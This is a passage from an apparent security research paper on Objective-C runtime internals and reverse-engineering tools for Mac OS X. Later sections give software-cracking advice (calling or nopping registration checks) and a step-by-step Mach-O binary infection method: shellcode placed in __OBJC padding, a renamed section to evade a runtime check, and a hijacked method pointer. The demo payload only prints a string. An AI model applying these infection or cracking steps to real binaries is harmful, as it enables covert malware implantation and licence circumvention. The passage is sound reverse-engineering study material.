Before we continue dumping memory here, lets take a look at the struct definitions for what we're seeing.

The pointer we just found, points to a struct of type "objc_ivar_list" this struct looks like so:

struct objc_ivar_list {

int ivar_count

/* variable length structure */

struct objc_ivar ivar_list[1]

}

So we can dump the count, trivially in gdb.

(gdb) x/x 0x000030c4

0x30c4 <.objc_class_name_Fraction+196>: 0x00000002

And see that our Fraction class has 2 ivars. This makes sense, numerator and denominator.

Following our count is an array of objc_ivar structs, one for each instance variable of the class. The definition for this struct is as follows:

struct objc_ivar {

char *ivar_name

char *ivar_type

int ivar_offset

}

So lets start dumping our ivars and see where it takes us.

(gdb)

0x30c8 <.objc_class_name_Fraction+200>: 0x00001fb7 // ivar_name.

(gdb)

0x30cc <.objc_class_name_Fraction+204>: 0x00001fd9 // ivar_type.

(gdb)

0x30d0 <.objc_class_name_Fraction+208>: 0x00000004 // ivar_offset.

So if we dump the name and type, we can see that the first instance variable we are looking at is the numerator.

(gdb) x/s 0x00001fb7

0x1fb7 <main+286>: "numerator"

(gdb) x/s 0x00001fd9

0x1fd9 <main+320>: "i"

The "i" in the type string means that we're looking at an integer. The int ivar_offset is set to 0x4. This means that when a Fraction class is allocated, 4 bytes into the allocation we can find the numerator. This matches up with the code in our setNumerator and makes sense.

We can repeat the process with the next element to verify our logic.

(gdb)

0x30d4 <.objc_class_name_Fraction+212>: 0x00001fab

(gdb)

0x30d8 <.objc_class_name_Fraction+216>: 0x00001fd9

(gdb)

0x30dc <.objc_class_name_Fraction+220>: 0x00000008

(gdb) x/s 0x00001fab

0x1fab <main+274>: "denominator"

(gdb) x/s 0x00001fd9

0x1fd9 <main+320>: "i"

Again, as we can see, the denominator is an integer and is 0x8 bytes offset into the allocation for this object.

Hopefully that makes the Objective‑C runtime in memory relatively clear.

‑‑‑‑‑‑[ 3.2 ‑ The __OBJC Segment

In this section I will go over how the data mentioned in the previous section is stored inside the Mach‑O binary.

I'm going to try and avoid going into the Mach‑O format as much as possible. This has already been covered to death, if you need to read about the file format check out [6].

Basically, files containing Objective‑C code have an extra Mach‑O segment called the __OBJC segment. This segment consists of a bunch of different sections, each containing different information pertinent to the Objective‑C runtime.

The output below from the otool ‑l command shows the sizes/load addresses and flags etc for our __OBJC sections in the hello binary we compiled earlier in the paper.

‑[dcbz@megatron:~/code/HelloWorld/build]$ otool ‑l hello

...

Load command 3

cmd LC_SEGMENT

cmdsize 668

segname __OBJC

vmaddr 0x00003000

vmsize 0x00001000

fileoff 8192

filesize 4096

maxprot 0x00000007

initprot 0x00000003

nsects 9

flags 0x0

Section

sectname __class

segname __OBJC

addr 0x00003000

size 0x00000030

offset 8192

align 2^5 (32)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

Section

sectname __meta_class

segname __OBJC

addr 0x00003040

size 0x00000030

offset 8256

align 2^5 (32)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

Section

sectname __inst_meth

segname __OBJC

addr 0x00003080

size 0x00000020

offset 8320

align 2^5 (32)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

Section

sectname __instance_vars

segname __OBJC

addr 0x000030a0

size 0x00000010

offset 8352

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

Section

sectname __module_info

segname __OBJC

addr 0x000030b0

size 0x00000020

offset 8368

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

Section

sectname __symbols

segname __OBJC

addr 0x000030d0

size 0x00000010

offset 8400

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

Section

sectname __message_refs

segname __OBJC

addr 0x000030e0

size 0x00000010

offset 8416

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000005

reserved1 0

reserved2 0

Section

sectname __cls_refs

segname __OBJC

addr 0x000030f0

size 0x00000004

offset 8432

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

Section

sectname __image_info

segname __OBJC

addr 0x000030f4

size 0x00000008

offset 8436

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

This output shows us where in the file itself each section resides. It also shows us where that portion will be mapped into memory in the address space of the process, as well as the size of each mapping.

The first section in the __OBJC segment we will look at is the __class section. To understand this we'll take a quick look at how ida displays this section.

__class:00003000 ; =====================================

__class:00003000

__class:00003000 ; Segment type: Pure data

__class:00003000 ; Segment alignment '32byte' can not be represented in assembly __class:00003000 __class segment para public 'DATA' use32 __class:00003000 assume cs:__class __class:00003000 ;org 3000h

__class:00003000 public _objc_class_name_Talker __class:00003000 _objc_class_name_Talker __class_struct <offset stru_3040, offset aNsobject, offset aTalker, 0,\

__class:00003000 DATA XREF: __symbols:000030B0o

__class:00003000 1, 4, 0, offset dword_3070, 0, 0> ; "NSObject"

__class:00003028 align 10h

__class:00003028 __class ends

__class:00003028

From IDA's dump of this section (from our hello binary) we can see that this section is pretty much where our objc_class structs are stored.

struct objc_class

{

struct objc_class* isa;

struct objc_class* super_class;

const char* name;

long version;

long info;

long instance_size;

struct objc_ivar_list* ivars;

struct objc_method_list** methodLists; struct objc_cache* cache;

struct objc_protocol_list* protocols;

};

More particularly though, this is where the ISA classes are stored. An interesting note, is that from what I've seen gcc seems to almost always pick 0x3000 for this section. It's pretty reliable to attempt to utilize this area in an exploit if the need arises.

The next section we'll look at is the __meta_class section.

__meta_class:00003040 ; =====================================

__meta_class:00003040

__meta_class:00003040 ; Segment type: Pure data __meta_class:00003040 ; Segment alignment '32byte' can not be represented in assembly __meta_class:00003040 __meta_class segment para public 'DATA' use32 __meta_class:00003040 assume cs:__meta_class __meta_class:00003040 ;org 3040h __meta_class:00003040 stru_3040 __class_struct <offset aNsobject, offset aNsobject, offset aTalker, 0,\

__meta_class:00003040 DATA XREF: __class:_objc_class_name_Talkero

__meta_class:00003040 2, 30h, 0, 0, 0, 0> ; "NSObject"

__meta_class:00003068 align 10h __meta_class:00003068 __meta_class ends

__meta_class:00003068

Again, as you can see this section is filled with objc_class structs. However this time the structs represent the super_class structs. We can see that the __class section references this one.

The __inst_meth section (shown below) contains pointers to the various methods used by the classes. These pointers can be changed to gain control of execution.

__inst_meth:00003070 ; =====================================

__inst_meth:00003070

__inst_meth:00003070 ; Segment type: Pure data __inst_meth:00003070 __inst_meth segment dword public 'DATA' use32 __inst_meth:00003070 assume cs:__inst_meth __inst_meth:00003070 ;org 3070h __inst_meth:00003070 dword_3070 dd 0 ; DATA XREF: __class:_objc_class_name_Talkero __inst_meth:00003074 dd 1

__inst_meth:00003078 dd offset aSay, offset aV12@048, offset __Talker_say__ ; "say:" __inst_meth:00003078 __inst_meth ends

__inst_meth:00003078

The __message_refs section basically just contains pointers to all the selectors used throughout the application. The strings themselves are contained in the __cstring section, however __message_refs contains all the pointers to them.

__message_refs:000030B4 ; =====================================

__message_refs:000030B4

__message_refs:000030B4 ; Segment type: Pure data __message_refs:000030B4 __message_refs segment dword public 'DATA' use32 __message_refs:000030B4 assume cs:__message_refs __message_refs:000030B4 ;org 30B4h __message_refs:000030B4 off_30B4 dd offset aRelease ; DATA XREF: _main+68o

__message_refs:000030B4 release"

__message_refs:000030B8 off_30B8 dd offset aSay ; DATA XREF: _main+47o

__message_refs:000030B8 say:"

__message_refs:000030BC off_30BC dd offset aInit ; DATA XREF: _main+2Do

__message_refs:000030BC init"

__message_refs:000030C0 off_30C0 dd offset aAlloc ; DATA XREF: _main+17o __message_refs:000030C0 __message_refs ends ; "alloc" __message_refs:000030C0

The __cls_refs section contains pointers to the names of all the classes in our Application. The strings themselves again are stored in the cstring section, however the __cls_refs section simply contains an array of pointers to each of them.

__cls_refs:000030C4 ; =====================================

__cls_refs:000030C4

__cls_refs:000030C4 ; Segment type: Regular

__cls_refs:000030C4 __cls_refs segment dword public '' use32 __cls_refs:000030C4 assume cs:__cls_refs __cls_refs:000030C4 ;org 30C4h

__cls_refs:000030C4 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing __cls_refs:000030C4 unk_30C4 db 0C9h ; + ; DATA XREF: _main+Do __cls_refs:000030C5 db 1Fh

__cls_refs:000030C6 db 0

__cls_refs:000030C7 db 0

__cls_refs:000030C7 __cls_refs ends

__cls_refs:000030C7

I'm not really sure what the __image_info section is used for. But it's good for us to use in our binary infector. :P

__image_info:000030C8 ; =====================================

__image_info:000030C8

__image_info:000030C8 ; Segment type: Regular __image_info:000030C8 __image_info segment dword public '' use32 __image_info:000030C8 assume cs:__image_info __image_info:000030C8 ;org 30C8h __image_info:000030C8 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing __image_info:000030C8 align 10h __image_info:000030C8 __image_info ends

__image_info:000030C8

One section that was missing from our hello binary but is typically in all Objective‑C compiled files is the __instance_vars section.

Section

sectname __instance_vars

segname __OBJC

addr 0x000030c4

size 0x0000001c

offset 8388

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

The reason this was omitted from our hello binary is due to the fact that our program has no classes with instance vars. Talker simply had a method which took a string and printed it.

The __instance_vars section holds the ivars structs mentioned at the end of the previous chapter. It begins with a count, and is followed up by an array of objc_ivar structs, as described previously.

struct objc_ivar {

char *ivar_name

char *ivar_type

int ivar_offset

}

I skipped a few of the self explanatory sections like symbols. But hopefully this served as an introduction to the information available to us in the binary. In the next sections we'll look at tools to turn this information into something more human readable.

‑‑[ 4 ‑ Reverse Engineering Objective‑C Applications.

As I'm sure you can imagine having read this far, with such a large variety of information present in the binary and in memory at runtime reverse engineering Objective‑C applications is quite a bit easier than their C or C++ counterparts.

In the following section I will run through some of the tools and methods that help out when attempting to reverse engineer Objective‑C applications on Mac OSX both on disk and at runtime.

‑‑‑‑‑‑[ 4.1 ‑ Static analysis toolset

First up, lets take a look at how we can access the information statically from the disk. There exists a variety of tools which help us with this task.

The first tool, is one we've used previously in this paper, "otool". Otool on Mac OS X is basically the equivalent of objdump on other platforms (NOTE: objdump can obviously be compiled for Mac OS X too.). Otool will not only dump assembly code for particular sections as well as header information for Mach‑O files, but it can display our Objective‑C information as well.

By using the "‑o" flag to otool we can tell it to dump the Objective‑C segment in a readable fashion. The output below shows us running this command against our hello binary from earlier.

‑[dcbz@megatron:~/code/HelloWorld/build]$ otool ‑o hello

hello:

Objective‑C segment

Module 0x30b0

version 7

size 16

name 0x00001fa8

symtab 0x000030d0

sel_ref_cnt 0

refs 0x00000000 (not in an __OBJC section)

cls_def_cnt 1

cat_def_cnt 0

Class Definitions

defs[0] 0x00003000

isa 0x00003040

super_class 0x00001fa9

name 0x00001fb2

version 0x00000000

info 0x00000001

instance_size 0x00000008

ivars 0x000030a0

ivar_count 1

ivar_name 0x00001fc6

ivar_type 0x00001fde

ivar_offset 0x00000004

methods 0x00003080

obsolete 0x00000000

method_count 2

method_name 0x00001fc1

method_types 0x00001fd4

method_imp 0x00001f13

method_name 0x00001fb9

method_types 0x00001fca

method_imp 0x00001f02

cache 0x00000000

protocols 0x00000000 (not in an __OBJC section)

Meta Class

isa 0x00001fa9

super_class 0x00001fa9

name 0x00001fb2

version 0x00000000

info 0x00000002

instance_size 0x00000030

ivars 0x00000000 (not in an __OBJC section)

methods 0x00000000 (not in an __OBJC section)

cache 0x00000000

protocols 0x00000000 (not in an __OBJC section)

Module 0x30c0

version 7

size 16

name 0x00001fa8

symtab 0x00002034 (not in an __OBJC section)

Contents of (__OBJC,__image_info) section

version 0

flags 0x0 RR

As you can see, this output provides us with a variety of information such as the addresses of our class definitions, their ivar count, name and types as well as their offsets into the appropriate section.

Most of the times however, it can be more useful to see a human readable interface description for our binary. This can be arranged using the class‑dump tool available from [14].

‑[dcbz@megatron:~/code/HelloWorld/build]$ /Volumes/class‑dump‑3.1.2/class‑dump hello

/*

* Generated by class‑dump 3.1.2.

*

* class‑dump is Copyright (C) 1997‑1998, 2000‑2001, 2004‑2007 by Steve * Nygard.

*/

/*

* File: hello

* Arch: Intel 80x86 (i386)

*/

@interface Talker : NSObject

{

}

‑ (void)say:(char *)fp8;

@end

The output above shows class‑dump being run against our small hello binary from the previous sections. Our example is pretty tiny though, but it still demonstrates the format in which class‑dump will display it's information.

By running this tool against Safari we can get a more clear picture of the kind of information class‑dump can give us.

/*

* Generated by class‑dump 3.1.2.

*

* class‑dump is Copyright (C) 1997‑1998, 2000‑2001, 2004‑2007 by Steve * Nygard.

*/

struct AliasRecord;

struct CGAffineTransform {

float a;

float b;

float c;

float d;

float tx;

float ty;

};

struct CGColor;

struct CGImage;

struct CGPoint {

float x;

float y;

};

...

@protocol NSDraggingInfo

‑ (id)draggingDestinationWindow;

‑ (unsigned int)draggingSourceOperationMask;

‑ (struct _NSPoint)draggingLocation;

‑ (struct _NSPoint)draggedImageLocation;

‑ (id)draggedImage;

‑ (id)draggingPasteboard;

‑ (id)draggingSource;

‑ (int)draggingSequenceNumber;

‑ (void)slideDraggedImageTo:(struct _NSPoint)fp8;

‑ (id)namesOfPromisedFilesDroppedAtDestination:(id)fp8;

@end

...

Class‑dump is a very valuable tool and definitely one of the first things that I run when trying to understand the purpose of an Objective‑C binary.

Back when the earth was flat, and Mac OS X ran mostly on PowerPC architecture Braden started work on a really cool tool called "code‑dump". Code‑dump was built on top of the class‑dump source and rather than just dumping class definitions, it was designed to decompile Objective‑C code.

Unfortunately code‑dump has never been updated since then, but to me the idea is still very sound. It would be really cool to see some Objective‑C support added to Hex‑rays in the future. I think you could get some really reliable output with that.

However, until the day arrives when someone bothers working on a real decompiler for intel Objective‑C binaries the closest thing we have is called OTX.app. OTX (hosted on one of the coolest domains ever.) [15] is a gui tool for Mac OS X which takes a Mach‑O binary as input and then uses otool output to dump an assembly listing. It is capable of querying the Objective‑C sections of the binary for information and then populating the assembly with comments.

Let's take a look at the output from OTX running against the Safari web browser.

‑(id)[AppController(FileInternal) _closeMenuItem]

+0 00003f70 55 pushl %ebp

+1 00003f71 89e5 movl %esp,%ebp

+3 00003f73 83ec18 subl $0x18,%esp

+6 00003f76 a1cc6c1e00 movl 0x001e6ccc,%eax _fileMenu +11 00003f7b 89442404 movl %eax,0x04(%esp)

+15 00003f7f 8b4508 movl 0x08(%ebp),%eax

+18 00003f82 890424 movl %eax,(%esp)

+21 00003f85 e812ee2000 calll 0x00212d9c ‑[(%esp,1) _fileMenu] +26 00003f8a 8b15bc6c1e00 movl 0x001e6cbc,%edx performClose: +32 00003f90 c744240800000000 movl $0x00000000,0x08(%esp)

+40 00003f98 8954240c movl %edx,0x0c(%esp)

+44 00003f9c 8b15c46c1e00 movl 0x001e6cc4,%edx

itemWithTarget:andAction:

+50 00003fa2 890424 movl %eax,(%esp)

+53 00003fa5 89542404 movl %edx,0x04(%esp)

+57 00003fa9 e8eeed2000 calll 0x00212d9c

‑[(%esp,1) itemWithTarget:andAction:]

+62 00003fae c9 leave

+63 00003faf c3 ret

The comments in the above output are pretty clear, they show the name of the method as well as which method and attribute are being used in the assembly.

Unfortunately, working from a .txt file containing assembly is still pretty painful, these days most people are using IDA pro to navigate an assembly listing. Back when I was first doing this research I wrote an ida python script which would parse the .txt file output from OTX, and steal all the comments, then add them to IDA. It also took the method names and renamed the functions appropriately and added cross refs where appropriate.

Unfortunately I haven't been able to locate this script since I got back from my forced time off :( If I do find it, I'll put it up on felinemenace in case anyone is interested. Thankfully since I've been away it seems a few people have recreated IDC scripts to pull information from the __OBJC segment and populate the IDB.

I'm sure you can google around and find them yourselves, but regardless a couple are available at [16] and [17].

‑‑‑‑‑‑[ 4.2 ‑ Runtime analysis toolset

In the previous section we explored how to access the Objective‑C information present in the binary without executing it. In this section I will cover how to interact with the Objective‑C runtime in the active process in order to understand program flow and assist in reverse engineering.

The first tool we'll look at exists basically in the libobjc.A.dylib library itself. By setting the OBJC_HELP environment variable to anything non‑zero and then running an Objective‑C application we can see some options that are available to us.

% OBJC_HELP=1 ./build/Debug/HelloWorld

objc: OBJC_HELP: describe Objective‑C runtime environment variables objc: OBJC_PRINT_OPTIONS: list which options are set

objc: OBJC_PRINT_IMAGES: log image and library names as the runtime loads them

objc: OBJC_PRINT_CONNECTION: log progress of class and category connections objc: OBJC_PRINT_LOAD_METHODS: log class and category +load methods as they are called

objc: OBJC_PRINT_RTP: log initialization of the Objective‑C runtime pages objc: OBJC_PRINT_GC: log some GC operations

objc: OBJC_PRINT_SHARING: log cross‑process memory sharing

objc: OBJC_PRINT_CXX_CTORS: log calls to C++ ctors and dtors for instance variables

objc: OBJC_DEBUG_UNLOAD: warn about poorly‑behaving bundles when unloaded objc: OBJC_DEBUG_FRAGILE_SUPERCLASSES: warn about subclasses that may have been broken by subsequent changes to superclasses

objc: OBJC_USE_INTERNAL_ZONE: allocate runtime data in a dedicated malloc zone

objc: OBJC_ALLOW_INTERPOSING: allow function interposing of objc_msgSend() objc: OBJC_FORCE_GC: force GC ON, even if the executable wants it off objc: OBJC_FORCE_NO_GC: force GC OFF, even if the executable wants it on objc: OBJC_CHECK_FINALIZERS: warn about classes that implement ‑dealloc but not ‑finalize

2006‑04‑22 12:08:17.544 HelloWorld[4831] Hello, World!

This help is pretty self explanatory, in order to utilize each of this functionality you simply set the appropriate environment variable before running your Objective‑C application. The runtime does the rest.

Another environment variable which is useful for runtime analysis of Objective‑C applications is "NSObjCMessageLoggingEnabled". If this variable is set to "Yes" then all objc_msgSend calls are logged to a file /tmp/msgSends‑<pid>. This is also obeyed for suid Objective‑C apps and very useful.

The output below demonstrates the use of this variable to log objc_msgSend calls for our "HelloWorld" application.

‑[dcbz@megatron:~/code/HelloWorld/build]$ NSObjCMessageLoggingEnabled=Yes ./hello

Hello World!

‑[dcbz@megatron:~/code/HelloWorld/build]$ cat /tmp/msgSends‑6686

+ NSRecursiveLock NSObject initialize

+ NSRecursiveLock NSObject new

+ NSRecursiveLock NSObject alloc

....

+ Talker NSObject initialize

+ Talker NSObject alloc

+ Talker NSObject allocWithZone:

‑ Talker NSObject init

‑ Talker Talker say:

‑ Talker NSObject release

‑ Talker NSObject dealloc

From this output it is easy to see exactly what our application was doing when we ran it.

To take our message tracing functionality further, the "dtrace" application can be used to spy on Objective‑C methods and functionality. Taken straight from the dtrace man‑page, dtrace supports an Objective‑C provider. The syntax for this is as follows:

"""

OBJECTIVE C PROVIDER

The Objective C provider is similar to the pid

provider, and allows instrumentation of Objective C classes and methods. Objective C probe specifiers use the following format:

objcpid:[class‑name[(category‑name)]]:[[+|‑]method‑name]:[name]

pid The id number of the process.

class‑name

The name of the Objective C class.

category‑name

The name of the category within the Objective C class.

method‑name

The name of the Objective C method.

name The name of the probe, entry, return, or an integer instruction offset within the method.

OBJECTIVE C PROVIDER EXAMPLES

objc123:NSString:‑*:entry

Every instance method of class NSString in process 123.

objc123:NSString(*)::entry

Every method on every category of class NSString in process 123.

objc123:NSString(foo):+*:entry

Every class method in NSString's foo category in process 123.

objc123::‑*:entry

Every instance method in every class and category in process 123.

objc123:NSString(foo):‑dealloc:entry

The dealloc method in the foo category of class NSString in process 123.

objc123::method?with?many?colons:entry

The method method:with:many:colons in every class in process 123. (A ? wildcard must be used to match colon characters inside of Objective C method names, as they would otherwise be parsed as the provider field separators.)

"""

This can be used as a message tracer for a particular class. You can even use this to write a simple fuzzer. There are plenty of tutorials out on the interwebz regarding writing .d scripts, and honestly, I'm still very new to it, so I'm going to leave this topic for now.

I'd imagine that most people reading this paper are already pretty familiar with gdb. On Mac OS X, Apple have slightly modified gdb to have better support for Objective‑C objects.

The first notable change I can think of is that they've added the print‑object command:

(gdb) help print‑object

Ask an Objective‑C object to print itself.

In order to show an example of this we can fire up gdb on our hello example Objective‑C application..

‑[dcbz@megatron:~/code/HelloWorld/build]$ gdb hello

GNU gdb 6.3.50‑20050815 (Apple version gdb‑768)

(gdb) set disassembly‑flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x00001f3d <main+0>:push ebp

0x00001f3e <main+1>:mov ebp,esp

0x00001f40 <main+3>:push ebx

[...]

0x00001f96 <main+89>:mov DWORD PTR [esp+0x4],edx

0x00001f9a <main+93>:mov DWORD PTR [esp],ecx

0x00001f9d <main+96>:call 0x4005 <dyld_stub_objc_msgSend> 0x00001fa2 <main+101>:mov edx,DWORD PTR [ebp‑0xc]

0x00001fa5 <main+104>:lea eax,[ebx+0x116b]

[...]

0x00001fb9 <main+124>:add esp,0x24

0x00001fbc <main+127>:pop ebx

0x00001fbd <main+128>:leave

0x00001fbe <main+129>:ret

End of assembler dump.

.. and stick a breakpoint on one of the calls to objc_msgSend() from main().

(gdb) b *0x00001f9d

Breakpoint 1 at 0x1f9d

(gdb) r

Starting program: /Users/dcbz/code/HelloWorld/build/hello

Breakpoint 1, 0x00001f9d in main ()

(gdb) stepi

0x00004005 in dyld_stub_objc_msgSend ()

(gdb)

0x94e0c670 in objc_msgSend ()

(gdb)

0x94e0c674 in objc_msgSend ()

(gdb)

0x94e0c678 in objc_msgSend ()

We stepi a few instructions to populate our eax and ecx registers with the selector and id, as we've done previously in this paper.

(gdb) po $eax

<Talker: 0x103240>

Then use the "po" command on our class pointer, which shows that we have an instance of the Talker class at 0x103240 on the heap.

(gdb) x/x $eax

0x103240:0x00003000

(gdb) po 0x3000

Talker

As you can see, if you use the "po" command on an ISA pointer, it simply spits out the name of the class.

Some of the coolest techniques I've seen for manipulating the Objective‑C runtime involve injecting an interpreter for the language of your choice into the address space of the running process, and then manipulating the classes in memory from there. None of the implementations of this that I've seen have been anywhere near as cool as F‑Script Anywhere [18].

It's hard to explain this tool in .txt format but if you have a Mac you should grab it and check it out. Basically when you run F‑Script Anywhere you are presented with a list of all the running Objective‑C applications on the system. You can select one and click the install button, to inject the F‑Script interpreter into that process.

On Leopard however, before you use this tool, you must set it to sgid procmod. This is due to the debugging restrictions around task_for_pid(). To do this basically just:

‑[root@megatron:/Applications/F‑Script Anywhere.app/Contents/MacOS]$ chgrp procmod F‑Script\ Anywhere ‑[root@megatron:/Applications/F‑Script Anywhere.app/Contents/MacOS]$ chmod g+s F‑Script\ Anywhere

Once the F‑Script interpreter has been injected into your application, a "FSA" menu will appear in the menu bar at the top of your screen. This menu gives you the options:

‑ New F‑Script Workspace.

‑ Browser for target.

If you select "New F‑Script Workspace" you are presented with a small terminal, in which to execute F‑Script commands. The F‑Script language is very simple and documented on their website [18]. It looks very similar to Objective‑C itself. The interpreter window is running in the context of the application itself. Therefore any F‑Script statements you make are capable of manipulating the classes etc within the target Objective‑C application.

But what if you don't know the name of your class in order to write F‑Script to manipulate it? The "Browser" button at the bottom of the terminal will open up an object browser for our target application. Clicking on the "Classes" button at the top of this window will result in a list of all the classes in our address space being listed down the side. Clicking on any of the classes, will bring up all the attributes and methods for a particular class. (Methods are indicated with a colon. ie; "say:"). Double clicking on any of the methods in this window will result in the method being called, if arguments are required a window will pop up prompting you to supply them. This is very useful for exploring and testing the functionality of your target.

Rather than clicking the "New F‑Script Workspace" option in our FSA menu, you can select the "Browser for target" option. This will change your cursor into some kind of weird, clover/target/thing. Once this happens, clicking on any object in the gui, will pop up an object browser for the particular instance of the object. This way we can call methods/view attributes/see the address for the class etc.

You can do a lot more with F‑Script anywhere, but the best place to learn is from the website [18] itself.

‑‑‑‑‑‑[ 4.3 ‑ Cracking

I'm not going to spend too much time on this topic as it's been covered pretty well by curious in [19], and I've published a little bit on it before in [13].

However, when attempting to crack Objective‑C apps it's always definitely worth running class‑dump before you do anything else, and reading over the output. I can't count the number of times I've seen an application which has a method like createRegistrationKey() which you can call from F‑Script Anywhere, or isRegistered() which is easily noppable. With all the Objective‑C information at your disposal cracking a majority of applications on Mac OS X becomes quite trivial.

Honestly, lets face it, people writing applications for Mac OS X care about the pretty gui, not the binary protection schemes available.

‑‑‑‑‑‑[ 4.4 ‑ Objective‑C Binary Infection

Again I won't spend too much time on this section. Dino let me know recently that Vincenzo Iozzo (snagg@openssl.it) did a talk apparently at Deepsec last year on infecting the Objective‑C structures in a Mach‑O binary. I couldn't find any information on it on google, so i'll release my technique, however if you want to read a (probably much much better technique) then look up Vincenzo's work.

The method I propose is quite simple, it involves looking at the __OBJC segment for any sections with padding, then writing our shellcode into each of them. Then basically overwriting a methods pointer with the address of the start of our shellcode. When the shellcode finishes executing, the original address is called.

While this method is more complicated/convoluted than other Mach‑O infection techniques, no attempt to modify the entry point takes place. This makes it harder to detect for the uninitiated.

In order to demonstrate this procedure I wrote the following tiny assembly code.

‑[dcbz@megatron:~/code]$ cat infected.asm

BITS 32

SECTION .text

_main:

xor eax,eax

push byte 0xa

jmp short down

up:

push eax

mov al,0x04

push eax ; fake

int 0x80

jmp short end

down:

call up

db "infected!",0x0a,0x00

end:

int3

‑[dcbz@megatron:~/code]$ cat tst.c

char sc[] = "\x31\xc0\x6a\x0a\xeb\x08\x50\xb0\x04\x50\xcd\x80\xeb\x10\xe8\xf3" "\xff\xff\xff\x69\x6e\x66\x65\x63\x74\x65\x64\x21\x0a\x00\xcc";

int main(int ac, char **av)

{

void (*fp)() = sc;

fp();

}

‑[dcbz@megatron:~/code]$ gcc tst.c ‑o tst

tst.c: In function 'main':

tst.c:7: warning: initialization from incompatible pointer type ‑[dcbz@megatron:~/code]$ ./tst

infected!

Trace/BPT trap

As you can see when executed this code simply prints the string "infected!\n" using the write() system call.

This will be the parasite code, our poor little HelloWorld project will be the host.

The first step in our infection process is to locate a little slab of space in the file where we can stick our code. Our code is around 30 bytes in length, so we'll need around 36 bytes in order to call the old address as well and complete the hook.

Looking at the first two sections in our OBJC segment, the first has an offset of 8192 and a size of 0x30 the second has an offset of 8256.

Section

sectname __class

segname __OBJC

addr 0x00003000

size 0x00000030

offset 8192

align 2^5 (32)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

Section

sectname __meta_class

segname __OBJC

addr 0x00003040

size 0x00000030

offset 8256

align 2^5 (32)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

If we do the math on the first part:

>>> 8192 + 0x30

8240

This means there's 16 bytes of padding in the file that we can use to store our code. If needed, however since our code is quite a bit bigger than this it would be painful to squeeze it into the padding here.

Fortunately we can utilize the __OBJC.__image_info section. There is a tone of padding straight after this section.

Section

sectname __image_info

segname __OBJC

addr 0x000030c8

size 0x00000008

offset 8392

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

So this is where we can store our code.

But first, we need to increase the size of this section in the header. We can do this using HTE [20].

**** section 7 ****

section name __image_info

segment name __OBJC

virtual address 000030c8

virtual size 00000008

file offset 000020c8

alignment 00000002

relocation file offset 00000000

number of relocation entries 00000000

flags 00000000

reserved1 00000000

reserved2 00000000

We simply press the f4 key to edit this once we're in Mach‑O header mode.

**** section 7 ****

section name __image_info

segment name __OBJC

virtual address 000030c8

virtual size 00000030

file offset 000020c8

alignment 00000002

relocation file offset 00000000

number of relocation entries 00000000

flags 00000000

reserved1 00000000

reserved2 00000000

Once this is done we save our file, and return to hex edit mode. In hex view we press f5, and type in our file offset. 0x20c8.

Once our cursor is at this position we move to the right 8 bytes, and then press f4 to enter edit mode. Then we paste our string of bytes:

31c06a0aeb0850b00450cd80eb10e8f3ffffff696e666563746564210a00cc

Then we save our file and run it.

000020c0 ec 1f 00 00 c9 1f 00 00‑00 00 00 00 00 00 00 00 |?? ?? 000020d0 31 c0 6a 0a eb 08 50 b0‑04 50 cd 80 eb 10 e8 f3 | 000020e0 ff ff ff 69 6e 66 65 63‑74 65 64 21 0a 00 cc 00 |???infected!? ? 000020f0 00 00 00 00 00 00 00 00‑00 00 00 00 00 00 00 00 |

By running this binary in gdb, we can stick a breakpoint on the main function and then call our shellcode in memory.

Breakpoint 1, 0x00001f41 in main ()

(gdb) set $eip=0x30d0

(gdb) c

Continuing.

infected!

Program received signal SIGTRAP, Trace/breakpoint trap.

0x000030ef in .objc_class_name_Talker ()

As you see our shellcode executed fine. However we have got a problem.

‑[dcbz@megatron:~/code]$ ./hello

objc[8268]: '/Users/dcbz/code/./hello' has inconsistently‑compiled Objective‑C code. Please recompile all code in it.

Hello World!

The Objective‑C runtime has ratted us out!!

grep'ing the source code for this we can see the appropriate check:

// Make sure every copy of objc_image_info in this image is the same.

// This means same version and same bitwise contents.

if (result‑>info) {

const objc_image_info *start = result‑>info;

const objc_image_info *end =

(objc_image_info *)(info_size + (uint8_t *)start); const objc_image_info *info = start;

while (info < end) {

// version is byte size, except for version 0

size_t struct_size = info‑>version;

if (struct_size == 0) struct_size = 2 * sizeof(uint32_t); if (info‑>version != start‑>version || 0 != memcmp(info, start, struct_size)) {

_objc_inform("'%s' has inconsistently‑compiled Objective‑C "

"code. Please recompile all code in it.", _nameForHeader(header));

}

info = (objc_image_info *)(struct_size + (uint8_t *)info); }

}

The way I got around this at the moment was to change the name of the section from __imagine_info to __1mage_info. Honestly I don't even understand why this section exists, but it works fine this way.

**** section 7 ****

section name __1mage_info

segment name __OBJC

virtual address 000030c8

virtual size 00000030

file offset 000020c8

alignment 00000002

relocation file offset 00000000

number of relocation entries 00000000

flags 00000000

reserved1 00000000

reserved2 00000000

So now our shellcode is in memory, we need to gain control of execution somehow.

The __inst_meth section contains a pointer to each of our methods. The way I plan to gain control of execution is to modify the pointer to our "say:" method with a pointer to our shellcode.

Section

sectname __inst_meth

segname __OBJC

addr 0x00003070

size 0x00000014

offset 8304

align 2^2 (4)

reloff 0

nreloc 0

flags 0x00000000

reserved1 0

reserved2 0

To test our theory out, we can first seek to the __inst_meth section in HTE...

